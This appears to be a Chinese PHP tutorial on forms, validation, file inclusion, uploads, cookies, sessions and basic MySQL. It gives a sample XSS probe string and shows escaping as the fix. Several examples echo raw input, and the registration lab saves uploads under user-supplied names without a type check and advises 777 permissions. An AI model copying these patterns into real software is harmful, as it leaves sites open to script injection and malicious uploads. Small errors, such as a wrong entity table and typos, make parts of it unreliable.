51工具盒子

依楼听风雨
笑看云卷云舒,淡观潮起潮落

PHP 基础4-6

PHP 基础知识1-3

PHP 基础4-6

4/6、PHP表单 {#46、php表单}

4.1 表单 {#41-表单}

PHP 中的 $_GET 和 $_POST 变量用于检索表单中的信息,比如用户输入。

有一点很重要的事情值得注意,当处理 HTML 表单时,PHP 能把来自 HTML 页面中的表单元成可供 PHP 脚本使用。

下面的实例包含了一个 HTML 表单,带有两个输入框和一个提交按钮。

<html>
<head>
<meta charset="utf-8">
</head>
<body>
<form action="welcome.php" method="post">
名字: <input type="text" name="fname">
年龄: <input type="text" name="age">
<input type="submit" value="提交">
</form>
</body>
</html>

当用户填写完上面的表单并点击提交按钮时,表单的数据会被送往名为 "welcome.php" 的 PHP 文件:

<html>
<head>
<meta charset="utf-8">
</head>
欢迎<?php echo $_POST["fname"]; ?>!<br>
你的年龄是 <?php echo $_POST["age"]; ?> 
</html>
PHP 获取下拉菜单的数据 {#php-获取下拉菜单的数据}
PHP 下拉菜单单选 {#php-下拉菜单单选}
<html>
<head>
<meta charset="utf-8">
</head>
//请补充PHP代码
//要求选择用户选择对应的站点以后回显网站的完整url
<form action="" method="get"> 
    <select name="q">
    <option value="">选择一个站点:</option>
    <option value="baidu">Runoob</option>
    <option value="google">Google</option>
    <option value="taobao">Taobao</option>
    </select>
    <input type="submit" value="提交">
    </form>
</form>
完整代码如下:
<html>
<head>
<meta charset="utf-8">
</head>
<!-- 
请补充PHP代码
要求选择用户选择对应的站点以后回显网站的url 
-->
<?php
$q=$_GET['q'];
if($q=="baidu"){
    echo "www.baidu.com";
}elseif($q=="google"){
    echo "www.google.com";
}elseif($q=="taobao"){
    echo "www.taobao.com";
}
?>
<form action="" method="get"> 
    <select name="q">
    <option value="">选择一个站点:</option>
    <option value="baidu">Baidu</option>
    <option value="google">Google</option>
    <option value="taobao">Taobao</option>
    </select>
    <input type="submit" value="提交">
    </form>
</form>
PHP 下拉菜单多选 {#php-下拉菜单多选}

如果下拉菜单是多选的( multiple="multiple"),我们可以通过将设置 select name="q[]" 以数组的方式获取,以下使用 POST 方式提交,代码如下所示:

<html>
<head>
<meta charset="utf-8">
</head>
<!-- 补充代码,要求用户选中对应的网站的时候可以传值完后同时输出内容 -->
<form action="" method="post"> 
    <select multiple="multiple" name="q">
    <option value="">选择一个站点:</option>
    <option value="BAIDU">BAIDU</option>
    <option value="GOOGLE">Google</option>
    <option value="TAOBAO">Taobao</option>
    </select>
    <input type="submit" value="提交">
    </form>
    </form>

完整代码如下:

<html>
<head>
<meta charset="utf-8">
</head>
<?php
$a = $_POST['q'];
foreach($a as $aa){
    echo $aa."</br>";
}
?>
<!-- 补充代码,要求用户选中对应的网站的时候可以传值完后同时输出内容 -->
<form action="" method="post"> 
    <select multiple="multiple" name="q[]">
    <option value="">选择一个站点:</option>
    <option value="Baidu">Baidu</option>
    <option value="GOOGLE">Google</option>
    <option value="TAOBAO">Taobao</option>
    </select>
    <input type="submit" value="提交">
    </form>
单选按钮表单 {#单选按钮表单}

PHP 单选按钮表单中 name 属性的值是一致的,value 值是不同的,代码如下所示:

<html>
<head>
<meta charset="utf-8">
</head>
<form action="" method="get"> 
    <input type="radio" name="q" value="RUNOOB" />Runoob
    <input type="radio" name="q" value="GOOGLE" />Google
    <input type="radio" name="q" value="TAOBAO" />Taobao
    <input type="submit" value="提交">
</form>
checkbox 复选框 {#checkbox-复选框}

PHP checkbox 复选框可以选择多个值:

<head>
<meta charset="utf-8">
</head>
<form action="" method="post"> 
    <input type="checkbox" name="q[]" value="RUNOOB"> Runoob<br> 
    <input type="checkbox" name="q[]" value="GOOGLE"> Google<br> 
    <input type="checkbox" name="q[]" value="TAOBAO"> Taobao<br>
    <input type="submit" value="提交">
</form>

4.2 表单验证 {#42-表单验证}

本章节我们将介绍如何使用PHP验证客户端提交的表单数据。

在处理PHP表单时我们需要考虑安全性。

本章节我们将展示PHP表单数据安全处理,为了防止黑客及垃圾信息我们需要对表单进行数据安全验证。

在本章节介绍的HTML表单中包含以下输入字段: 必须与可选文本字段,单选按钮,及提交按钮:

需求如下:

1、需要一个注册页面的处理系统

| 字段 | 验证规则 | |--------|----------------------| | 名字 | 可以输入字符串 | | E-mail | 可以输入字符串 | | 爱好 | 多选(足球、篮球、羽毛球、看书、写字;) | | 备注 | 多行输入字段(文本域) | | 性别 | 单选(男、女) |

首先实现起来,按照我们所学,可以很轻易的写出基本框架

<head>
<meta charset="utf-8">
</head>
<form action="" method="post"> 
名字:
<input type="text" name="name" > <br> 
邮件:
<input type="text" name="email" ><br> 
爱好:
<input type="checkbox" name="aihao[]" value="足球" >足球
<input type="checkbox" name="aihao[]" value="篮球">篮球
<input type="checkbox" name="aihao[]" value="羽毛球">羽毛球
<input type="checkbox" name="aihao[]" value="看书">看书
<input type="checkbox" name="aihao[]" value="写字">写字
<input type="checkbox" name="aihao[]"><br>
备注:
<textarea name="beizhu" ></textarea><br>
性别:
<input type="radio" name="xingbie" value="男">男<input type="radio" name="xingbie" value="女">女<br>
<input type="submit" value="提交">
</form>
value="提交">
</form>

写入后端页面,要求可以接收到数据用户输入的数据

<?php
$name=$_REQUEST['name'];
$email=$_REQUEST['email'];
$aihao=$_REQUEST['aihao'];
$beizhu=$_REQUEST['beizhu'];
$xingbie=$_REQUEST['xingbie'];
echo "名字为:".$name."</br>";
echo "邮箱为:".$email."</br>";
echo "爱好为:";
foreach($aihao as $ah){
    echo $ah."      ";
};
echo "</br>备注为:".$beizhu."</br>";
echo "性别为:".$xingbie."</br>";
?>

但是其实只是这样简单的写,就已经产生了安全漏洞,这就是安全漏洞的由来

一般的程序员只会考虑用户的需求,不会考虑安全问题

XSS攻击代码:<script>alert('xss');</script>

加固方法:

什么是 htmlspecialchars()方法?

htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体。

预定义的字符是:

& (和号) 成为 &
" (双引号) 成为 "
' (单引号) 成为 &#039;
< (小于) 成为 &#gt
> (大于) 成为 &#gt

加固后的完整代码:

<head>
<meta charset="utf-8">
</head>
<?php
$name=htmlspecialchars($_REQUEST['name']);
$email=htmlspecialchars($_REQUEST['email']);
$aihao=$_REQUEST['aihao'];
$beizhu=htmlspecialchars($_REQUEST['beizhu']);
$xingbie=htmlspecialchars($_REQUEST['xingbie']);
echo "名字为:".$name."</br>";
echo "邮箱为:".$email."</br>";
echo "爱好为:";
if($aihao!=""){
    foreach($aihao as $ah){
        echo htmlspecialchars($ah)."  ";}
}else{
    echo "没有爱好</br>";
}
echo "</br>备注为:".$beizhu."</br>";
echo "性别为:".$xingbie."</br>";
?>
<form action="" method="post"> 
名字:
<input type="text" name="name" > <br> 
邮件:
<input type="text" name="email" ><br> 
爱好:
<input type="checkbox" name="aihao[]" value="足球" >足球
<input type="checkbox" name="aihao[]" value="篮球">篮球
<input type="checkbox" name="aihao[]" value="羽毛球">羽毛球
<input type="checkbox" name="aihao[]" value="看书">看书
<input type="checkbox" name="aihao[]" value="写字">写字
<input type="checkbox" name="aihao[]"><br>
备注:
<textarea name="beizhu" ></textarea><br>
性别:
<input type="radio" name="xingbie" value="男">男<input type="radio" name="xingbie" value="女">女<br>
<input type="submit" value="提交">
</form>

4.3 必填以及验证 {#43-必填以及验证}

| 名字 | 必须。 +只能包含字母和空格 | |--------|---------------------------------| | E-mail | 必须。 + 必须是一个有效的电子邮件地址(包含'@'和'.') | | 爱好 | 可选,多选(足球、篮球、羽毛球、看书、写字;) | | 备注 | 可选。多行输入字段(文本域) | | 性别 | 必须。 必须选择一个 |

如果在前面的章节中,所有输入字段都是可选的。

在以下代码中我们加入了一些新的变量: $nameErr, $emailErr, $genderErr, 和 $websiteErr.。这些错误变量将显示在必需字段上。 我们还为每个$_POST变量增加了一个if else语句。 这些语句将检查 $_POST 变量是 否为空(使用php的 empty() 函数)。如果为空,将显示对应的错误信息。 如果不为空,数据将传递给test_input() 函数:

除去基本的if判断语句,可以判断是否为空,还有一个函数也可以继续判断

empty()函数,使用用法如下:

<?php
$a="123321";
echo empty($a);
?>

结合if判断

<?php
$a="";
if(empty($a)){
    echo "kong";
}else{
    echo "bukong";
}
?>

最终完整的代码如下:

<head>
<meta charset="utf-8">
</head>
<?php
$name=htmlspecialchars($_REQUEST['name']);
$email=htmlspecialchars($_REQUEST['email']);
$aihao=$_REQUEST['aihao'];
$beizhu=htmlspecialchars($_REQUEST['beizhu']);
$xingbie=htmlspecialchars($_REQUEST['xingbie']);
if ($_SERVER["REQUEST_METHOD"] == "POST") {
if(empty($name)){
$nameErr="名字不能为空";
}elseif(empty($email)){
$emailErr="邮件不能为空";
}
elseif(empty($xingbie)){
$xingbieErr="性别不能为空";
}else{
$name="名字为:".$name."</br>";
$email="邮箱为:".$email."</br>"; 
$beizhu="</br>备注为:".$beizhu."</br>";
$xingbie="性别为:".$xingbie."</br>";
}}
?>
<form action="" method="post"> 
名字(*):
<input type="text" name="name" > <br> 
<?php echo $nameErr."<br>";?>
邮件(*):<?php echo $emailErr;?>
<input type="text" name="email" ><br> 
<?php echo $nemailErr."<br>";?>
爱好:
<input type="checkbox" name="aihao[]" value="足球" >足球
<input type="checkbox" name="aihao[]" value="篮球">篮球
<input type="checkbox" name="aihao[]" value="羽毛球">羽毛球
<input type="checkbox" name="aihao[]" value="看书">看书
<input type="checkbox" name="aihao[]" value="写字">写字
<input type="checkbox" name="aihao[]"><br>
备注:
<textarea name="beizhu" ></textarea><br>
性别(*):<?php echo $xingbieErr;?>
<input type="radio" name="xingbie" value="男">男<input type="radio" name="xingbie" value="女">女<br>
<?php echo $xingbieErr."<br>";?>
<input type="submit" value="提交">
</form>
<?php
echo $name;
echo $email;
if($aihao!=""){
    foreach($aihao as $ah){
       echo "爱好:".$ah=htmlspecialchars($ah)."  ";}
}else{
    echo "没有爱好</br>";
}
echo $beizhu;
echo $xingbie;
?>

4.4 PHP文件包含 {#44-php文件包含}

在 PHP 中,您可以在服务器执行 PHP 文件之前在该文件中插入一个文件的内容。

include 和 require 语句用于在执行流中插入写在其他文件中的有用的代码。

include 和 require 除了处理错误的方式不同之外,在其他方面都是相同的:

  • require 生成一个致命错误(E_COMPILE_ERROR),在错误发生后脚本会停止执行。
  • include 生成一个警告(E_WARNING),在错误发生后脚本会继续执行。

因此,如果您希望继续执行,并向用户输出结果,即使包含文件已丢失,那么请使用 include。否则,在框架、CMS 或者复杂的 PHP 应用程序编程中,请始终使用 require 向执行流引用关键文件。这有助于提高应用程序的安全性和完整性,在某个关键文件意外丢失的情况下。

包含文件省去了大量的工作。这意味着您可以为所有网页创建标准页头、页脚或者菜单文件。然后,在页头需要更新时,您只需更新这个页头包含文件即可。

include 'filename';
或者
require 'filename';
PHP include 和 require 语句 {#php-include-和-require-语句}
基础实例 {#基础实例}

假设您有一个标准的页头文件,名为 "header.php"。如需在页面中引用这个页头文件,请使用 include/require:

<html>
<head>
<meta charset="utf-8">
</head>
<body>
<?php include 'header.php'; ?>
<h1>欢迎来到我的主页!</h1>
<p>一些文本。</p>
</body>
</html>

演示:

变量也可包含,被包含的文件2.php:

<?php
$a="aaaaa";
?>

主文件:

<html>
<head>
<meta charset="utf-8">
</head>
<body>
<?php 
include '2.txt'; 
echo $a;
?>
</body>
</html>

4.5 文件以及文件上传 {#45-文件以及文件上传}

通过 PHP,可以把文件上传到服务器。

本章节实例在 test 项目下完成,目录结构为:

|-----upload             # 文件上传的目录
|-----index.html          # 表单文件
|-----upload.php    # php 上传代码
创建一个文件上传表单 {#创建一个文件上传表单}

允许用户从表单上传文件是非常有用的。

请看下面这个供上传文件的 HTML 表单:

<html>
<head>
<meta charset="utf-8">
</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

将以上代码保存到 index.html 文件中。

有关上面的 HTML 表单的一些注意项列举如下:

  • 标签的 enctype 属性规定了在提交表单时要使用哪种内容类型。在表单需要二进制数据时,比如文件内容,请使用 "multipart/form-data"。
  • 标签的 type="file" 属性规定了应该把输入作为文件来处理。举例来说,当在浏览器中预览时,会看到输入框旁边有一个浏览按钮。

**注释:**允许用户上传文件是一个巨大的安全风险。请仅仅允许可信的用户执行文件上传操作。

创建上传脚本 {#创建上传脚本}

"upload.php" 文件含有供上传文件的代码:

<head>
<meta charset="utf-8">
</head>
<?php
    echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
    echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
    echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
    echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"];
?>

增加防止上传文件报错提示

<?php
if ($_FILES["file"]["error"] > 0)
{
    echo "错误:" . $_FILES["file"]["error"] . "<br>";
}
else
{
    echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
    echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
    echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
    echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"];
}
?>

第一个参数是表单的 input name,第二个下标可以是 "name"、"type"、"size"、"tmp_name" 或 "error"。如下所示:

  • $_FILES["file"]["name"] - 上传文件的名称
  • $_FILES["file"]["type"] - 上传文件的类型
  • $_FILES["file"]["size"] - 上传文件的大小,以字节计
  • $_FILES["file"]["tmp_name"] - 存储在服务器的文件的临时副本的名称
  • $_FILES["file"]["error"] - 由文件上传导致的错误代码

这是一种非常简单文件上传方式。基于安全方面的考虑,您应当增加有关允许哪些用户上传文件的限制。

上传限制 {#上传限制}
<head>
<meta charset="utf-8">
</head>
<?php
// 允许上传的图片后缀
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);//explode() 函数使用一个字符串分割另一个字符串,并返回由字符串组成的数组。
$extension = end($temp);        // 获取数组最后的数值
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/jpg")
|| ($_FILES["file"]["type"] == "image/pjpeg")
|| ($_FILES["file"]["type"] == "image/x-png")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800)    // 小于 200 kb
&& in_array($extension, $allowedExts))
{
    if ($_FILES["file"]["error"] > 0)
    {
        echo "错误:: " . $_FILES["file"]["error"] . "<br>";
    }
    else
    {
        echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
        echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
        echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
        echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"];
    }
}
else
{
    echo "非法的文件格式";
}
?>
保存被上传的文件 {#保存被上传的文件}

上面的实例在服务器的 PHP 临时文件夹中创建了一个被上传文件的临时副本。

这个临时的副本文件会在脚本结束时消失。要保存被上传的文件,我们需要把它拷贝到另外的位置:

<head>
<meta charset="utf-8">
</head>
<?php
// 允许上传的图片后缀
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
echo $_FILES["file"]["size"];
$extension = end($temp);     // 获取文件后缀名
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/jpg")
|| ($_FILES["file"]["type"] == "image/pjpeg")
|| ($_FILES["file"]["type"] == "image/x-png")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800)   // 小于 200 kb
&& in_array($extension, $allowedExts))
{
    if ($_FILES["file"]["error"] > 0)
    {
        echo "错误:: " . $_FILES["file"]["error"] . "<br>";
    }
    else
    {
        echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
        echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
        echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
        echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"] . "<br>";

        // 判断当前目录下的 upload 目录是否存在该文件
        // 如果没有 upload 目录,你需要创建它,upload 目录权限为 777
        if (file_exists("upload/" . $_FILES["file"]["name"]))
        {
            echo $_FILES["file"]["name"] . " 文件已经存在。 ";
        }
        else
        {
            // 如果 upload 目录不存在该文件则将文件上传到 upload 目录下
            move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
            echo "文件存储在: " . "upload/" . $_FILES["file"]["name"];
        }
    }
}
else
{
    echo "非法的文件格式";
}
?>

4.6 cookie {#46-cookie}

cookie 常用于识别用户。

cookie 常用于识别用户。cookie 是一种服务器留在用户计算机上的小文件。每当同一台计算机通过浏览器请求页面时,这台计算机将会发送 cookie。通过 PHP,您能够创建并取回 cookie 的值。

如何创建 Cookie? {#如何创建-cookie?}

setcookie() 函数用于设置 cookie。

**注释:**setcookie() 函数必须位于 标签之前。

setcookie(name, value, expire, path, domain);

| 参数 | 描述 | |----------|----------------------------------| | name | 必需。规定 cookie 的名称。 | | value | 必需。规定 cookie 的值。 | | expire | 可选。规定 cookie 的有效期。 | | path | 可选。规定 cookie 的服务器路径。 | | domain | 可选。规定 cookie 的域名。 | | secure | 可选。规定是否通过安全的 HTTPS 连接来传输 cookie。 |

在下面的例子中,我们将创建名为 "user" 的 cookie,并为它赋值 "runoob"。我们也规定了此 cookie 在一小时后过期:

<?php
setcookie("user", "admin", time()+3600);
?>
<html>

**注释:**在发送 cookie 时,cookie 的值会自动进行 URL 编码,在取回时进行自动解码。(为防止 URL 编码,请使用 setrawcookie() 取而代之。)

实例 2 {#实例-2}

您还可以通过另一种方式设置 cookie 的过期时间。这也许比使用秒表示的方式简单。

<?php
$expire=time()+60*60*24*30;
setcookie("user", "runoob", $expire);
?>
<html>
..... 
如何取回 Cookie 的值? {#如何取回-cookie-的值?}

PHP 的 $_COOKIE 变量用于取回 cookie 的值。

在下面的实例中,我们取回了名为 "user" 的 cookie 的值,并把它显示在了页面上:

<?php
$expire=time()+60*60*24*30;
setcookie("user", "runoob", $expire);
// 输出 cookie 值
echo $_COOKIE["user"];
// 查看所有 cookie
var_dump($_COOKIE);
?>

在下面的实例中,我们使用 isset() 函数来确认是否已设置了 cookie:

<html>
<head>
<meta charset="utf-8">
</head>
<body>
<?php
if (isset($_COOKIE["user"]))
    echo "欢迎 " . $_COOKIE["user"] . "!<br>";
else
    echo "普通访客!<br>";
?>
</body>
</html>

如何删除 Cookie? {#如何删除-cookie?}

当删除 cookie 时,您应当使过期日期变更为过去的时间点。

删除的实例:

<?php
// 设置 cookie 过期时间为过去 1 小时
setcookie("user", "", time()-3600);
?>

4.7 session {#47-session}

PHP session 变量用于存储关于用户会话(session)的信息,或者更改用户会话(session)的设置。Session 变量存储单一用户的信息,并且对于应用程序中的所有页面都是可用的。

PHP Session 变量 {#php-session-变量}

您在计算机上操作某个应用程序时,您打开它,做些更改,然后关闭它。这很像一次对话(Session)。计算机知道您是谁。它清楚您在何时打开和关闭应用程序。然而,在因特网上问题出现了:由于 HTTP 地址无法保持状态,Web 服务器并不知道您是谁以及您做了什么。

PHP session 解决了这个问题,它通过在服务器上存储用户信息以便随后使用(比如用户名称、购买商品等)。然而,会话信息是临时的,在用户离开网站后将被删除。如果您需要永久存储信息,可以把数据存储在数据库中。

Session 的工作机制是:为每个访客创建一个唯一的 id (UID),并基于这个 UID 来存储变量。UID 存储在 cookie 中,或者通过 URL 进行传导。

开始 PHP Session {#开始-php-session}

在您把用户信息存储到 PHP session 中之前,首先必须启动会话。

**注释:**session_start() 函数必须位于 标签之前:

<?php session_start(); ?>
<html>
<body>
</body>
</html>

上面的代码会向服务器注册用户的会话,以便您可以开始保存用户信息,同时会为用户会话分配一个 UID。

存储 Session 变量 {#存储-session-变量}

存储和取回 session 变量的正确方法是使用 PHP $_SESSION 变量:

<?php
session_start();
// 存储 session 数据
$_SESSION['views']=1;
?>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<?php
// 检索 session 数据
echo "浏览量:". $_SESSION['views'];
?>
</body>
</html>

在下面的实例中,我们创建了一个简单的 page-view 计数器。isset() 函数检测是否已设置 "views" 变量。如果已设置 "views" 变量,我们累加计数器。如果 "views" 不存在,则创建 "views" 变量,并把它设置为 1:

<?php
session_start();
if(isset($_SESSION['views']))
{
    $_SESSION['views']=$_SESSION['views']+1;
}
else
{
    $_SESSION['views']=1;
}
echo "浏览量:". $_SESSION['views'];
?>

销毁 Session {#销毁-session}

如果您希望删除某些 session 数据,可以使用 unset() 或 session_destroy() 函数。

unset() 函数用于释放指定的 session 变量:

<?php
session_start();
if(isset($_SESSION['views']))
{
    unset($_SESSION['views']);
}
?>

您也可以通过调用 session_destroy() 函数彻底销毁 session:

<?php
session_destroy();
?>

实验五:简单的注册页面 {#实验五:简单的注册页面}

需求:

1、开始动手写一个页面吧

2、编写一个网站的登录页面

3、在登录页面下面要包含一个注册页面的超链接

4、点击超链接,则可以开始注册

5、注册页面包含,注册所用的账号、密码、手机号码、喜欢的图片上传

6、其中账号和密码以及手机号码为必填项,喜欢的图片为选填

7、注册成功直接回显到注册页面

网站首页如下

<html>
<head>
<meta charset="utf-8">
</head>
<body>
<h1>欢迎来到此页面进行登录</h1>
<form action="yanzheng.php" method="POST">
<input type="name" value="请输入账号" ></br>
<input type="password" value=""></br>
<input type="submit">
</form>
<a href="zhuce.php">注册用户</a>
</body>
</html>

注册页面如下:

<head>
<meta charset="utf-8">
</head>
<?php
$name=$_POST['neme'];
$password1=$_POST['password1'];
$password2=$_POST['password2'];
$shouji=$_POST['shouji'];
$name=$_FILES['touxiang'];
echo $name,$password1,$password2,$shouji,$name;
?>
<form action="" method="post" enctype="multipart/form-data" > 
名字:
<input type="text" name="name" > <br> 
密码:
<input type="password" name="password1" ><br> 
重新输入密码:
<input type="password" name="password2" ><br> 
请输入手机号码:
<input type="passwrd" name="shouji" ><br> 
上传头像:
<input type="file" name="touxiang" ><br> 
<input type="submit" value="提交">
</form>

开始完善各个规则【账号和密码以及手机号码为必填项】,密码验证等

<head>
<meta charset="utf-8">
</head>
<?php
$name=$_POST['name'];
$password1=$_POST['password1'];
$password2=$_POST['password2'];
$shouji=$_POST['shouji'];
$tupian=$_FILES['tupian'];
// echo $name,$password1,$password2,$shouji,$tupian;
if($_SERVER["REQUEST_METHOD"] == "POST"){
    if(empty($name) || 
    empty($password1) ||
    empty($password2) ||
    empty($shouji)){
        $ERR="账号密码、手机号码不能为空";
 //密码长度8位,密码两次输入一致
//密码验证
//手机11位
//文件上传jpg
    }elseif(strlen($password1)<8){
        $ERR="密码长度不足八位";
    }elseif($password1!=$password2){
        $ERR="两次输入密码不一致";
    }elseif(strlen($shouji)!="11"){
        $ERR="手机号码格式有问题";
    }else{
        $ERR="注册成功";
        echo $_FILES["tupian"]["name"];
        if (file_exists("tupian/" . $_FILES["tupian"]["name"])){
            echo $_FILES["tupian"]["name"] . " 文件已经存在。 ";
        }else{
            // 如果 upload 目录不存在该文件则将文件上传到 upload 目录下
            move_uploaded_file($_FILES["tupian"]["tmp_name"], "tupian/" . $_FILES["tupian"]["name"]);
            // echo "文件存储在: " . "tupian/" . $_FILES["tupian"]["name"];
        }
    }
}
?>
<form action="" method="post" enctype="multipart/form-data" > 
名字:
<input type="text" name="name" > <br> 
密码:
<input type="password" name="password1" ><br> 
重新输入密码:
<input type="password" name="password2" ><br> 
请输入手机号码:
<input type="passwrd" name="shouji" ><br> 
上传头像:
<input type="file" name="tupian" ><br> 
<input type="submit" value="提交">
</form>
<?php
 echo $ERR;
 echo "你注册的用户为:".$name."</br>";
 echo "你注册的手机号码:".$shouji."</br>";
?>
<img src="<?php echo "tupian/".$_FILES["tupian"]["name"]; ?>">

5/6、PHP数据库 {#56、php数据库}

5.1 MYSQL 简介 {#51-mysql-简介}

通过 PHP,您可以连接和操作数据库。

MySQL 是跟 PHP 配套使用的最流行的开源数据库系统。

MySQL 是什么? {#mysql-是什么?}
  • MySQL 是一种在 Web 上使用的数据库系统。
  • MySQL 是一种在服务器上运行的数据库系统。
  • MySQL 不管在小型还是大型应用程序中,都是理想的选择。
  • MySQL 是非常快速,可靠,且易于使用的。
  • MySQL 支持标准的 SQL。
  • MySQL 在一些平台上编译。
  • MySQL 是免费下载使用的。
  • MySQL 是由 Oracle 公司开发、发布和支持的。
  • MySQL 是以公司创始人 Monty Widenius's daughter: My 命名的。

MySQL 中的数据存储在表中。表格是一个相关数据的集合,它包含了列和行。

在分类存储信息时,数据库非常有用。一个公司的数据库可能拥有以下表:

  • Employees
  • Products
  • Customers
  • Orders
PHP + MySQL {#php--mysql}

PHP 与 MySQL 结合是跨平台的。(您可以在 Windows 上开发,在 Unix 平台上应用。)

查询 {#查询}

查询是一种询问或请求。

通过 MySQL,我们可以向数据库查询具体的信息,并得到返回的记录集。

请看下面的查询(使用标准 SQL):

mysql> SELECT name FROM websites;
+---------------+
| name          |
+---------------+
| Google        |
| 淘宝        |
| 微博        |
| Facebook      |
| stackoverflow |
+---------------+
5 rows in set (0.00 sec)

语句 **set names utf8;**用于设定数据库编码,让中文可以正常显示。

上面的查询选取了 "websites" 表中 "name" 列的所有数据。

5.2 MYSQL 连接 {#52-mysql-连接}

PHP 连接 MySQL {#php-连接-mysql}

PHP 5 及以上版本建议使用以下方式连接 MySQL :

  • MySQLi extension ("i" 意为 improved)
  • **PDO (PHP Data **Objects)

在 PHP 早期版本中我们使用 MySQL 扩展。但该扩展在 2012 年开始不建议使用。

我是该用 MySQLi ,还是 PDO? {#我是该用-mysqli-,还是-pdo}

如果你需要一个简短的回答,即 "你习惯哪个就用哪个"。

MySQLi 和 PDO 有它们自己的优势:

PDO 应用在 12 种不同数据库中, MySQLi 只针对 MySQL 数据库。

所以,如果你的项目需要在多种数据库中切换,建议使用 PDO ,这样你只需要修改连接字符串和部分查询语句即可。 使用 MySQLi, 如果不同数据库,你需要重新编写所有代码,包括查询。

两者都是面向对象, 但 MySQLi 还提供了 API 接口。

两者都支持预处理语句。 预处理语句可以防止 SQL 注入,对于 web 项目的安全性是非常重要的。

MySQLi 和 PDO 连接 MySQL 实例 {#mysqli-和-pdo-连接-mysql-实例}

在本章节及接下来的章节中,我们会使用以下三种方式来演示 PHP 操作 MySQL:

  • MySQLi (面向对象)
  • MySQLi (面向过程)
  • PDO
## MySQLi 安装 {#-mysqli-安装}

可以通过 phpinfo() 查看是否安装成功:

连接 MySQL {#连接-mysql}

在我们访问 MySQL 数据库前,我们需要先连接到数据库服务器:

实例 (MySQLi - 面向对象)
<head>
<meta charset=utf-8>
</head>
<?php
$servername = "localhost";
$username = "username";
$password = "password";
// 创建连接
$conn = new mysqli($servername, $username, $password);
// 检测连接
if ($conn->connect_error) {
    die("连接失败: " . $conn->connect_error);
} 
echo "连接成功";
?>
注意在以上面向对象的实例中 $connect_error 是在 PHP 5.2.9 和 5.3.0 中添加的。如果你需要兼容更早版本 请使用以下代码替换:
// 检测连接
if (mysqli_connect_error()) {
    die("数据库连接失败: " . mysqli_connect_error());
}
实例 (MySQLi - 面向过程)
<head>
<meta charset=utf-8>
</head>
<?php
$servername = "localhost";
$username = "root";
$password = "123456";
// 创建连接
$conn = mysqli_connect($servername, $username, $password);
// 检测连接
if (!$conn) {
    die("Connection failed: " . mysqli_connect_error());
}
echo "连接成功";
?>
实例 (PDO)
<head>
<meta charset=utf-8>
</head>
<?php
$servername = "localhost";
$username = "root";
$password = "123456";
try {
    $conn = new PDO("mysql:host=$servername;", $username, $password);
    echo "连接成功"; 
}
catch(PDOException $e)
{
    echo $e->getMessage();
}
?>

//try{代码}catch{前面代码报错,执行}
关闭连接 {#关闭连接}

连接在脚本执行完后会自动关闭。你也可以使用以下代码来关闭连接:

连接在脚本执行完后会自动关闭。你也可以使用以下代码来关闭连接:
实例 (MySQLi - 面向对象)
$conn->close();
实例 (MySQLi - 面向过程)
mysqli_close($conn);
实例 (PDO)
$conn = null;

5.3 创建数据库与表,插入数据 {#53-创建数据库与表,插入数据}


数据库存有一个或多个表。

你需要 CREATE 权限来创建或删除 MySQL 数据库。

数据库的整体结构如下:

电脑(服务器)->数据库软件(mysql、mssql、甲骨文、mariadb....)->

数据库-> 表->字段

数据库进入方法:

1、直接进入

2、使用软件连接

3、使用phpmyadmin //注意,PHP版本要高于7.0才可以直接使用

进入sql代码,在mysql的bin路径输入

.\mysql.exe -h 127.0.0.1 -u root -p

数据库操纵语句

查询MySQL内的数据库

show databases;

创建库

create database kkk;

删除库

drop database kkk;

创建表,之前需要先构思好表单的结构,然后创建每个表的属性

比如:

<style> </style>

| id | user | pass | phone | |------|-------|--------|-------------| | 1 | admin | 123456 | 13800000000 | | 自增数字 | 字符串 | 字符串 | 数字 |

最后形成代码如下:

use kkk;   //进入库
//创建kkk_tbl表
CREATE TABLE IF NOT EXISTS `kkk_tbl`(
   `id` INT UNSIGNED AUTO_INCREMENT,
   `user` VARCHAR(10) NOT NULL,
   `pass` VARCHAR(10) NOT NULL,
   `phone` INT(11) NOT NULL,
   PRIMARY KEY ( `id` )
)ENGINE=InnoDB DEFAULT CHARSET=utf8;
  • NOT NULL - 每一行都必须含有值(不能为空),null 值是不允许的。
  • DEFAULT value - 设置默认值
  • UNSIGNED - 使用无符号数值类型,0 及正数
  • AUTO INCREMENT - 设置 MySQL 字段的值在新增记录时每次自动增长 1
  • PRIMARY KEY - 设置数据表中每条记录的唯一标识。 通常列的 PRIMARY KEY 设置为 ID 数值,与 AUTO_INCREMENT 一起使用。

查看表的框架

desc kkk_tbl;

